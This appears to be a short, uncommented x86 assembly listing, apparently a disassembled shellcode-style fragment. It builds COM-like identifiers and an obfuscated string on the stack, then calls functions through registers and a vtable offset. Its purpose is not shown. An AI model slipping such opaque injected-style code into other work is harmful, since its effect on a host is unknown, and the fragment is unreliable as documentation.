push 0x6c44df74
mov eax, esp
push 0x9673794f
push 0xc001e39e
dec dword [esp + 2]
push 0x11d23391
push 0x96749377
mov ebx, esp
push esi
push esp
push eax
push 0x17
push esi
push ebx
call edi
pop ebx
push 0x5520676f
push 0x7420706f
push 0x686e6421
xchg esi, eax
mov esi, esp
push eax
lodsb al, byte [esi]
push ax
cmp al, 0x55
jne 0x403b57
mov ecx, esp
xor eax, eax
push eax
push eax
push ecx
push ebx
mov edx, dword [ebx]
mov ecx, dword [edx + 0x50]
call ecx
int3